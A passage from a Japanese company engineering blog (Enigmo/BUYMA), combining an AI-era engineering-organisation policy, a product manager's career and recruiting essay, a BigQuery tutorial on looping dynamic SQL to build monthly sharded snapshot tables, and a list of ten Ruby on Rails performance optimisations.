また、AIの支援により、今後は誰もが「知識のフルスタック化」を実現できる時代です。1人のマネージャーが複数チームをマネジメントするのはもちろん、フロントエンドエンジニアがバックエンドも含めてリードするなど、単独でもユーザーに価値提供できる「PM兼アーキテクト」として振る舞える人材を増やしていきます。

フルスタックへの回帰・フルサイクルへの挑戦

これはこれまで分業化や専門性特化のチームを作ってきた流れからの方針転換となり、個人やチームのフルスタック化フルサイクル化を進めていきます。


方針2:ベンチャー回帰 〜ビジネス成果への直接貢献〜

AIによってデリバリー(実装)が超効率化されていく今後、エンジニアは浮いたリソースで何を目指すべきでしょうか? その答えが「ベンチャー回帰」です(2000年代創業の弊社としては、スタートアップというよりベンチャーという言葉がしっくりきます)。

フィーチャーチームからミッションチームへ

これまで、部としてはプロダクト開発のエンジニアをドメインと呼ばれる3つのチームに分けて運用してきており、それらは単に開発・運用する機能が割り振られた括りでしかありませんでした。 しかし今期からは、すべてのドメインがユーザーに直接届く「ビジネスミッション」を持つ体制へと方針転換します。

  • BUY: 購入者を強力に吸い上げ、集客とCVRを最大化する。
  • SELL: 世界中から商品を力強く吸い上げ、品揃えを最大化する。
  • SERVICE INFRA (SI): 決済や安心補償などの機能を提供し、ユーザーへの提供付加価値を最大化する。

単なる機能開発ではなく、全員が事業のKPIに直結したミッションを追い求める。この構造こそが、私たちの目指す真のベンチャー回帰の姿です。

新キャリアラダーを設計

また、全員がビジネス成果にコミットする組織へ進化するため、エンジニアのキャリアラダー(評価軸)もアップデートしました。従来の「デリバリー」中心の評価から、以下の6つの軸による評価へと拡張しています。

  • アウトカム :事業成果に接続した意思決定ができているか。
  • ディスカバリー :ユーザーの課題を正しく再定義できるか。
  • デリバリー: 設計〜実装〜テスト〜リリースを安定して回せるか。
  • 運用:SLO/障害/コスト/セキュリティを背負えるか。
  • コラボレーション(協働) :チームビルディングや他職種との協働。
  • レバレッジ : 仕組み化・標準化により、組織全体の生産性を引き上げる力。

実はこの6軸は、元々「AI時代に合わせよう」として作ったものではありません。先期の振り返りで再認識した「外部パートナーにはできない、内製エンジニア組織ならではの価値とは何か?」を徹底的に言語化した結果生まれたものです。

しかし興味深いことに、「内製組織の本質」を追求したこの6軸は、AI活用が進む時代にエンジニアに求められると思われるスキルセットとしてみても全く不自然ではありませんでした。

例えば、AIで簡単にモノが作れるようになったからこそ、「どこまでこだわるべきか」を事業成果から逆算するアウトカムや、本質的なユーザー課題を見極めるディスカバリーの重要性が増しています。また、AIには代替できない人間同士の高度なコラボレーションも不可欠です。

中でも「レバレッジ」は、次世代エンジニアのコアとなる概念です。日々の案件を無事にデリバリーするだけでなく、「AI駆動開発を実現し、価値提供のパイプライン自体を自分たちで構築・改善する(仕組みを創る)」ことが求められます。この仕組み作りは専任チームに任せるのではなく、各チーム自らが構築し、組織全体をブーストさせる姿勢を高く評価します。

まとめ

以上が、今期からのエンジニア組織の新しい運営方針です。

今のエニグモの環境で「事業にコミットし、AIで開発パイプライン自体を創り上げる」という経験は、こちらの記事でも語られているどこに行っても通用する非常に高い市場価値につながると確信しています。

この方針は決して理想を描いただけではありません。先期のAI活用の実績という裏付けがあり、NotionやGitHub、AIコーディングエージェントを全社で導入するための予算もしっかり確保してスタートしています。

「いつかできたら」ではなく「今年できる」。今期もこのスローガンを胸に、圧倒的な成果を生み出す1年に していきたいと思います。

AI時代のPdMの武器は「土壌」にある。BUYMAの歴史をレバレッジに、高速で仮説を形にする方法

はじめに

KNと申します。 2025年2月に株式会社エニグモに入社し、プロダクトマネージャー(PdM)として約1年が経過しました。

前職では新卒でWeb系企業にエンジニアとして入社し、3年間従事しました。 文系出身ながらAWSでのインフラ構築・メンテナンスからバックエンド・フロントエンドの開発まで、幅広く経験しました。

その後、社内転職でPdMへとキャリアをシフトし、フィンテックサービスのグロースを担当していました。

私がエニグモへの転職を決めたのは、20年続く「BUYMA」というプロダクトが持つ圧倒的な蓄積に惹かれたからです。

しかし同時に、「歴史があるがゆえに、動きが遅く、部分最適の調整に追われるのではないか」という懸念もありました。

結果として、この1年間で得られたものは予想を遥かに超えるものでした。 この記事では、エニグモで経験した学びと、20年続くプロダクトの「厚み」がもたらす価値について記します。

自身の業務領域

BUYMAは世界180カ国、22.5万人以上のパーソナルショッパー(出品者)が支える、唯一無二の「お買い物代行」プラットフォームです。

現在、私はBUYMA「出品者領域(SELL)」と、決済・配送・基盤を支える「サービスインフラ(SI)」の2つを横断して担当しています。

  • SELL領域: 出品者がいかにストレスなく、質の高い出品を行えるか
  • SI領域: 配送、決済、CS、経理。取引の全工程を支える「心臓部」

この2つを同時に見ることは、一見すると負荷が高いように思えます。

しかし、「出品の仕様変更が、数カ月後の経理処理やCSの問い合わせにどう影響するか」を予見しながら動く経験は、プロダクトを「機能の集合体(点)」ではなく「エコシステム(面)」として捉える視座を私に与えてくれました。

エニグモの組織図

入社の決め手:20年の蓄積がもたらす土壌

転職活動をしていた当時、私が最も重視していたのは「自身の仮説構築や施策立案の精度を向上させること」でした。

前職の新規事業では、スピード感を持って施策を回していましたが、比較対象となる過去データが少なく、「打席には立つが、なぜ当たった(外れた)かの深い洞察」が不足している感覚がありました。

2005年から続くBUYMAには、膨大な成功と、それを上回る「失敗の経験」があるのではないかと仮定していました。それは、自身が望む次の仮説を研ぎ澄ませるために非常に魅力的な場所だと感じました。

あえて歴史のある環境に身を置くことで、中長期的な時間軸での「判断の軸」を手に入れ、今後どのようなフェーズのプロダクトでも通用するPdMになりたいと考えたのが、入社の最大の理由です。

www.buyma.com

入社後の学び

①バランス感覚が求められる

エニグモで最も鍛えられたのは、複数の視点を同時に持ち、全体最適を追求するバランス感覚です。

入社後に手がけた印象的なプロジェクトに、経理が企画を行った出品者に関連する機能開発がありました。 このプロジェクトは、経理、カスタマーサポート、出品者側のマーケティング、エンジニア、デザイナーという多様な職種が集まったチームで進行しました。

プロジェクトの仕様決めの場面で、私は初めて「歴史の重さ」を実感しました。 経理上の運用フローもあり、社内ニーズとユーザーニーズを調和させた運用となっていました。

その上で、機能開発という観点から出品者にとっての使いやすさ(ユーザービリティ)も確保しなければなりません。 さらに、問い合わせが発生した際のカスタマーサポートの対応負荷も事前に検討しておく必要がありました。

このように、1つの意思決定が複数の部署に影響を及ぼします。 そして、20年の歴史があるプロダクトでは、1つのルールを変更するだけでも、システム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。

エニグモでは「出品者・購入者・プラットフォーマーとしてのルール作り・ルールを維持するための運用的可能性」という多面的な視点を同時に持つ必要があります。 この多面的なバランス感覚こそ、今後どのようなプロダクトに関わっても活かせる、PdMとしての生存戦略の核だと感じています。

②組織のノウハウに対するレバレッジ

エニグモには、社歴が長い人が多く在籍しています。 先輩方はBUYMAの歴史を肌で知り、過去の成功と失敗を体験してきています。 ※平均勤続年数は6.3年(2025年10月時点)

入社当初、私は自分がまだ知らない領域について不安を感じていました。 しかし、実際に働いてみて気づいたのは、「自分がすべてを知っている必要はない」ということでした。 重要なのは、知識を持っている人が何を気にしていて、どのようなデータがあり、組織としてどこでバランスを取るべきかを考え、意思決定に繋げることです。

多くのプロジェクトでは、過去の事例やデータが膨大にあるため、各部署の担当者の背景理解や考慮すべき点の想定を事前から広く取ることが可能です。

例えば、カスタマーサポートのメンバーに相談すると、「過去に類似の仕様変更を実施した際、こういった問い合わせが急増した」という実例を教えてくれます。 経理企画のメンバーに相談すると、「この処理フローは○年前にこういう理由で導入された」という背景を共有してくれます。

また、過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすいのも大きな利点です。 考慮しなければならない箇所や、とある対応策を取ろうとした時のメリット・デメリットの整理がしやすくなります。

これらの知見は、組織に蓄積された「ノウハウ」です。 エニグモでは「誰に聞けば良いか」「どのデータを見れば良いか」「過去のどのドキュメントを参照すれば良いか」を知っていれば、圧倒的に速く、精度の高い意思決定ができます。

そして、PdMの役割は、そのノウハウをレバレッジとして活用し、最適な意思決定を導くことです。 この組織知へのアクセス能力は、AIが進化しても決して代替されない、人間ならではの強みだと考えています。

③意思決定の質とスピード

エニグモでは、開発案件に応じてスクラムアジャイルを使い分けながら開発を進めています。 サービスインフラ(SI)領域を例にとる、ビジネスサイドは10〜15名程度、エンジニアが5〜8名程度、PdMが2名程度で進行しており、密に連携しながら施策を推進します。

驚いたのは、意思決定のスピードと質の両立です。 前職では、スピード重視で施策を回していましたが、データが不足しているために「やってみなければわからない」という状況が多くありました。 一方、エニグモでは20年分のデータとノウハウがあるため、「過去の類似施策ではこうだった」「このセグメントのユーザーはこう動く」という根拠に基づいた意思決定ができます。 また、AI活用も積極的に進められています。例えば、BUYMAには「AIでさがす」機能があり、Vertex AI SearchやGeminiを活用し、よりBUYMAらしい商品提案が可能になりました。

『「AIでさがす」サービスのリニューアル』について

このように、歴史という「深い土壌」とAIという「速い道具」が揃っていることで、意思決定の質とスピードが同時に高まっています。 AIによって解決できる課題の量と幅は拡張されていますが、「何を解くべきか」を判断するのは人間の役割です。 そして、その判断の精度を高めるのが、プロダクトの厚みから得られる「物事の見方」と「意思決定プロセスの判断軸」です。

歴史の重さと向き合う難しさ

ここまでポジティブな面を中心に書いてきましたが、正直に言えば、苦労したポイントもあります。

各部署との調整と、歴史の重さを考慮した意思決定は、想像以上に難しいものでした。 1つのルールを変更するにしても、その変更がシステム的にもビジネス的にも背景が膨大にあるため、定点を見て結論を出すことができません。

複数の部署の意見を聞き、過去のドキュメントを読み込み、データを分析し、そして全体最適を追求する。 このプロセスは、スピード重視の新規事業とは異なる難しさがあります。

しかし、この「難しさ」こそが、PdMとしての成長を促してくれていると感じています。 なぜなら、今後どのようなプロダクトに関わっても活きる「面と深さを考えながらプロダクトを進行する」という実践知を経験できているからです。

今後やっていきたいこと

この1年間で、私はプロダクトを「点」ではなく「面」で捉える視座を手に入れました。

SELL領域とSI領域を横断して担当することで、出品者の体験、購入者の体験、そしてそれらを支える基盤(経理・配送・決済)、すべてが繋がっていることを実感しています。

しかし、まだ「面」のすべてを理解しているわけではありません。 今後は、一部門だけでなく、ユーザー体験全体を「面」で捉え、形にしていくことに挑戦したいと考えています。

エニグモには、歴史という「深い土壌」と、AIという「速い道具」が揃っています。 この環境だからこそ、幅広く、深く、そして「形」にして、面としてのプロダクト磨きに取り組めると確信しています。

BUYMAは20周年を迎え、さらなる進化を続けています。私自身も、この蓄積の中で、PdMとしての生存戦略を磨き続けていきたいと思います。

エニグモで働く魅力

最後に、エニグモで働く魅力をまとめます。

プロダクト・人材面でしっかりとした土壌がある

20年分のデータとノウハウ、そして社歴の長いメンバーが持つ知見。これらは、新規事業では決して得られない「厚み」です。 過去の意思決定に関するドキュメントが残っているため、ノウハウの探索がしやすく、考慮すべき点の整理が圧倒的に速くなります。

幅広く・高速にチャレンジができる

AI活用やアジャイル開発により、意思決定のスピードと質が両立されています。 若手でも裁量を持ってプロジェクトを推進できる環境です。 「AIでさがす」機能や類似画像検索の内製化など、最先端の技術を活用した施策に取り組めます。

バランス感覚が磨かれる

経理・出品者・カスタマーサポート・プロダクト全体という多面的な視点を持つことで、どのプロダクトにも通用する「究極のバランス感覚」が身につきます。

 「専門性か、汎用性か」で迷うあなたへ。

エニグモには、専門性を深めながら、汎用性も高められる環境があります。 AIに奪われない組織知をレバレッジとして活用し、プロダクト開発を通じて自己成長できる場所です。 もし、あなたがキャリア形成に不安を感じているなら、エニグモという「最強の土壌」で、一緒にプロダクトを磨いていきませんか。

株式会社エニグモ すべての求人一覧 hrmos.co

【BigQuery】過去データの再作成が超絶楽になる!ループ処理でシャーディングテーブルを一気に作成する方法

こんにちは、エニグモの嘉松です。普段はデータ活用推進室にて、データ分析・データ活用の推進やMAツールを用いたCRM施策などを担当しています。

本記事はEnigmo Advent Calendar 2025の最終日(25日目)の記事です。1ヶ月間にわたり様々なテーマで繋いできたバトンも、いよいよ今回が最終回となります!

最終回は、データ分析・データ活用の裏側を支える技術にフォーカスし、BigQueryに関する(少しディープな)知見を共有します。

時点データとは?

データ分析において、現時点のデータだけでなく「過去のある時点」のデータを保持しておくことは極めて重要です。例えば、ユーザーの注文回数、会員ランク、保有ポイント数、メール購読の有無などが挙げられます。

これらの時点データを毎月1日などのタイミングでスナップショットとして蓄積しておくことで、「過去と現在の比較」や「特定の期間における推移」といった分析が容易になり、分析の幅は劇的に広がります。

しかし、過去に遡ってこれらのデータを作成しようとすると、なかなかの手間が発生します。例えば月次データを5年分作成する場合では60回のクエリ実行が必要となります。

そこで今回は、BigQueryの手続き型言語(Procedural language)を使い、ループ処理で過去分のシャーディングテーブルを一気に作成する方法をご紹介します。

BigQueryのシャーディングテーブルとは?

table_YYYYMMDD という命名規則に基づき、物理的にテーブルを分割して管理する手法です。 例えば、user_summary_20251201 のようにテーブル名の末尾に日付を付与します。

シャーディングを行うことで、必要な期間のデータだけをスキャン対象にできるため、処理に必要なデータ量およびクエリ費用を大幅に抑えることが可能です。

シャーディングテーブル作成の処理フロー

今回の処理の流れは以下の通りです。

  1. 指定した「開始年月」から「現在」まで、1ヶ月ごとにループさせる。
  2. 各月ごとに集計クエリを実行し、table_YYYYMMDD 形式のテーブルを作成(または置換)する。
  3. 処理対象が現在を超えたらループを終了する。
START_MONTH (2022-01-01)
    ↓
[ LOOP開始 ]
    ↓
1回目: 対象 2022-01-01 → CREATE TABLE dataset.table_20220101
2回目: 対象 2022-02-01 → CREATE TABLE dataset.table_20220201
    ...
終了: 対象が「今月」を超えたら LEAVE

サンプルコード

以下は、ループ処理を用いて過去テーブルを作成するスクリプトです。

-- 1. 変数の宣言と初期化
DECLARE START_MONTH DATE DEFAULT DATE '2022-01-01'; -- 開始日を指定
DECLARE CURRENT_MONTH DATE;
DECLARE yyyymmdd STRING;
DECLARE LOOP_CNT INT64 DEFAULT 0;

-- 2. ループ処理の開始
LOOP
  -- 処理対象年月をセット(開始月からLOOP_CNT分だけ月を加算)
  SET CURRENT_MONTH = DATE_ADD(START_MONTH, INTERVAL LOOP_CNT MONTH);

  -- 3. 終了判定:処理対象年月が「今月」を超えたらループを抜ける
  IF CURRENT_MONTH > DATE_TRUNC(CURRENT_DATE('Asia/Tokyo'), MONTH) THEN
    LEAVE;
  END IF;

  -- テーブル接尾辞用にYYYYMMDD形式の文字列を作成
  SET yyyymmdd = FORMAT_DATE("%Y%m%d", CURRENT_MONTH);
  
  -- 4. 動的SQLの生成と実行
  -- EXECUTE IMMEDIATE FORMAT() でSQLを動的に組み立てて実行します
  EXECUTE IMMEDIATE FORMAT("""
    -- ここに実行したいDDL(テーブル作成)を記述
    CREATE OR REPLACE TABLE `your-project.your_dataset.user_summary_%s` AS
    SELECT
      user_id,
      -- 注文回数
      count(*) as purchase_count
    FROM
      `your-project.source_dataset.transactions`
    WHERE
      -- 基準日(CURRENT_MONTH)以前の注文データに絞り込み
      DATE(created_at, 'Asia/Tokyo') < '%s'
    GROUP BY
      1
  """, yyyymmdd, CAST(CURRENT_MONTH AS STRING));

  -- 5. カウンタを進める
  SET LOOP_CNT = LOOP_CNT + 1;

END LOOP;

サンプルコードの解説

実装のポイントは以下の3点です。

1. LOOPLEAVE による制御

BigQueryの手続き型言語には FOR 文もありますが、日付を柔軟に加算しながら処理したい場合は LOOP が適しています。無限ループを防ぐため、必ず IF ... THEN LEAVE; END IF; による脱出条件を記述しましょう。今回は DATE_TRUNC を使い、実行時の年月を超えた時点で停止するように設定しています。

2. EXECUTE IMMEDIATE による動的SQLの実行

通常のSQL文には変数を直接埋め込むことができない箇所(テーブル名など)があります。そのため、クエリ全体を文字列として組み立てて実行する EXECUTE IMMEDIATE を使用します。 FORMAT() 関数を用いると、%s を使って変数値を流し込めるため、文字列結合(||)を繰り返すよりも可読性が高く、メンテナンスもしやすくなります。

3. 文字列のクォート扱いに注意

ここが最も重要なポイントです。動的SQLの中で日付をリテラルとして扱いたい場合、%s の周りをシングルクォートで囲む必要があります。

  • NG: DATE(created_at, 'Asia/Tokyo') < %s
  • 展開後: ... < 2022-01-01 (数値の引き算として処理されてしまう)

  • OK: DATE(created_at, 'Asia/Tokyo') < '%s'

  • 展開後: ... < '2022-01-01' (正しい日付文字列として認識される)

ループ処理活用のススメ

今回はシャーディングテーブルの作成を例に挙げましたが、このループ処理のテクニックは「API制限を回避するために1日ずつ処理する」「リソース枯渇を避けるために重たいクエリを分割実行する」といったシーンでも非常に有効です。

手作業による「温かみのある運用」から卒業し、スマートで快適なデータ基盤ライフを送りましょう!

25日間の感謝を込めて

これにて Enigmo Advent Calendar 2025 は全25記事のバトンが繋がり、無事完走となります!

今年は様々な職域のメンバーが、それぞれの視点から技術や知見を共有してくれました。これらの記事が、皆様の日々の業務や課題解決のヒントとなれば望外の喜びです。

来たる2026年も、エニグモBUYMAをはじめとするサービスを通じて新しい価値を創造してまいります。どうぞよろしくお願いいたします。


株式会社エニグモ すべての求人一覧 hrmos.co

Ruby on Rails アプリのパフォーマンス最適化10選

こんにちは!Webアプリケーションエンジニアのレミーです!

この記事はEnigmo Advent Calendar 2025の24日目の記事です。

Ruby on Rails アプリが遅いと感じるのは、ほぼ次の3の原因になります。

  1. DBクエリが多すぎる(特に N+1、COUNT/EXISTS の使い分けミス、インデックス不足)
  2. 不要なデータを読み込みすぎる(テーブル全て/重いカラム全て取得、あるいは全部を RAM に書き込む)
  3. ビューのレンダリング/コールバックが働きすぎる(partial の多用、重いフォーマット処理、不要なコールバック/バリデーションの実行)

この記事では、効果が見えやすいものに絞って、自分が特によく使う最適化10個をまとめます。

1. includes で N+1 クエリを防ぐ

問題: posts の一覧を取得して、view 側で post.user.namepost.comments.size のように関連を参照すると、20件なら20回(あるいはそれ以上)追加クエリが飛ぶ可能性があります。

解決: includes で関連を事前ロードします。

改善前: N+1 が発生

@posts = Post.order(created_at: :desc).limit(20)

@posts.each do |post|
  post.user.name # 毎回 SELECT users... WHERE id = ? が走る可能性
end

改善後: includes を使用

@posts = Post.includes(:user).order(created_at: :desc).limit(20)

Railsposts に紐づく users を1回のクエリでまとめてロードし、ループ内での追加クエリを防ぎます。

一覧をレンダリングして、ループ内で association を参照する(post.commentspost.userorder.items など)場合ではよく使われます。

重要ポイント: includes には 3 パターンがあり、Rails が状況に応じて選びます。

  • preload: 常に 2 クエリ(postsとusers)
  • eager_load: 常に LEFT OUTER JOIN(大きい 1 クエリ)
  • includes: Rails が自動判断(preload になる場合も join になる場合もある)

2. 必要なカラムだけ取る: select / pluck

問題: User.allUser.where(...).to_a全カラムを引いてきます。bio (text)settings (jsonb)avatar_data のような重いカラムも含まれがちです。実際には idname だけで十分なケースも多いはずです。

解決:

ActiveRecord オブジェクトは欲しい(でも最小限にしたい)

select を使います。

users = User.where(active: true).select(:id, :name)
users.first.name # OK

値の配列だけで十分(高速 + allocations 少なめ)

pluck を使います。

ids   = User.where(active: true).pluck(:id)
pairs = User.where(active: true).pluck(:id, :name) # [[1, "A"], [2, "B"]]

DB処理時間の短縮、返ってくるデータ量の削減、Ruby 側の allocations 削減。

dropdown/select box で idname だけが必要な時とか、バックグラウンドジョブで処理対象 id だけが必要な時などが使われます。

3. 存在するかどうかの確認なら exists? を使う

問題: relation に対して any? / present? で存在チェックをすると、不要にレコードを読み込んだり、最適でないクエリになったりすることがあります。

解決: exists? は EXISTS を使うため、目的に対して効率的になりやすいです。

改善前: 不要なロードが起こり得る

User.where(email: email).any?

改善後: EXISTS を使う

User.exists?(email: email)

メール重複チェック、ユーザーが注文を持っているか、対象レコードが既にあるか、などの場合に使われます。

4. count / size / length を正しく使い分ける

メソッド DB クエリは走る? どんなクエリ レコードをロードする? 使いどころ
count あり(常に) SELECT COUNT(*) なし DB から正確な件数が必要なとき
length 未ロードなら走る SELECT * あり(全件ロード) すでに records がロード済みだと確実できる時だけ
size 状況による COUNT(*) または なし 自動 ActiveRecord / association では基本これが安全

association がロード済みか不明なときは、次のように size が安全です。

comments_count = post.comments.size

view で association の件数を表示するなら、まずは size(または counter cache)を優先。

5. よく絞り込み/ソートするカラムに Index を貼る

問題: WHERE user_id = ... などがインデックスがないと、DB がテーブル全体をスキャンして重くなりがちです。

解決: WHERE / JOIN / ORDER BY によく出てくるカラムに index を追加します。

例:

add_index :orders, :user_id
add_index :users, :email, unique: true
add_index :orders, [:user_id, :created_at]

インデックス選びの目安:

  • WHERE / JOIN によく出るカラム: index を追加
  • ORDER BY と filter がセットでよく出る:複合インデックス(例 [:user_id, :created_at])を追加
  • email/username のようなユニーク値: unique: true

確認方法: ログで遅いクエリを見つける、DB で EXPLAIN を実行して index が使われているか確認。

注意: index は読み込みを速くしますが、書き込みは少し遅くなる傾向があります。

6. 大量データは batch で処理する: find_each / in_batches

問題: User.where(...).each は全件を RAM に書き込む可能性があります。件数が多い(数万〜数百万)と、メモリが不足になって、worker/job が落ちる原因になります。

解決: find_eachバッチ処理します。

find_each は 主キーによるページングで、メモリには 1 バッチ分だけ保持します。

User.where(active: true).find_each(batch_size: 1000) do |user|
  # user を1件ずつ処理
end

バッチ単位で処理したい(特に一括更新)なら in_batches が便利です。

User.where(active: true).in_batches(of: 1000) do |relation|
  relation.update_all(flag: true)
end

rake タスク、データの移行作業、数万件以上のレコードを扱うジョブなどに使われます。

7. コールバックが不要なら bulk update/delete: update_all / delete_all

問題: 1万件を each { update } すると、1万回のクエリに加えて validations/callbacks が走ります。場合によってはメール送信なども巻き込まれて重くなります。

解決: 1クエリでまとめて処理します。

# 一括更新
User.where(id: ids).update_all(active: false)

# 一括削除
Log.where("created_at < ?", 30.days.ago).delete_all

重要: update_all / delete_all は バリデーションとコールバックを完全にスキップします。

フラグを一括変更、単純なデータ修正、ログの削除などに使われます。

8. association の件数表示には counter cache を使う

問題: 一覧で「コメント数」を表示するために post.comments.count を多用すると重くなります。includes(:comments) にしても comments が多いとそれ自体が重くなることがあります。

解決: comments_count のようなカラムに件数を保持します(counter cache)。

# posts に comments_count を追加
add_column :posts, :comments_count, :integer, default: 0, null: false

# counter cache を有効化
class Comment < ApplicationRecord
  belongs_to :post, counter_cache: true
end

以降は post.comments_count を使えます。

これは、一覧ページや管理画面など「件数表示」があちこちに出てくる画面で特に効きます。

注意: 読み込みは非常に速くなりますが、コメント作成/削除時に post 側のカラム更新が 1 回増えます。

9. 高コストな処理は Rails.cache.fetch でキャッシュする

問題: 重いクエリや計算(トップの記事、統計、設定値など)を毎リクエスト再計算してしまう。

解決: TTLと分かりやすい key を持ったキャッシュを使います。

top_posts = Rails.cache.fetch(["top_posts", Date.current], expires_in: 10.minutes) do
  Post.published.order(score: :desc).limit(20).pluck(:id, :title)
end

キー設計は ["feature_name", version, params...] の配列にすると、管理しやすいです。expires_in も付けて意図せず永続化する事故を避けましょう。

10. view をキャッシュする(fragment / collection caching)

問題: DB はそこまで遅くないのに、partial が多い、フォーマット処理が重いなどで view のレンダリングが遅くなる。

解決1: record 単位の fragment cache

<% @posts.each do |post| %>
  <% cache(post) do %>
    <%= render "posts/post", post: post %>
  <% end %>
<% end %>

Railsはレコードのcache key(バージョン付き)を使うので、post が更新されるとキーも変わり、自然に無効化されます。

解決2: collection caching(短くて速い)

<%= render partial: "posts/post", collection: @posts, cached: true %>

レンダリング時間とCPU使用量が大きく減ります。


Rails が遅い原因は、framework そのものというより、余計なことをしてしまっているコードにあることがほとんどです。まずは上の基本最適化から入れるだけで、複雑なキャッシュ設計やサーバー増強をしなくても、速くなるケースが珍しくありません。

明日の記事の担当はエンジニアの嘉松さんです。お楽しみに。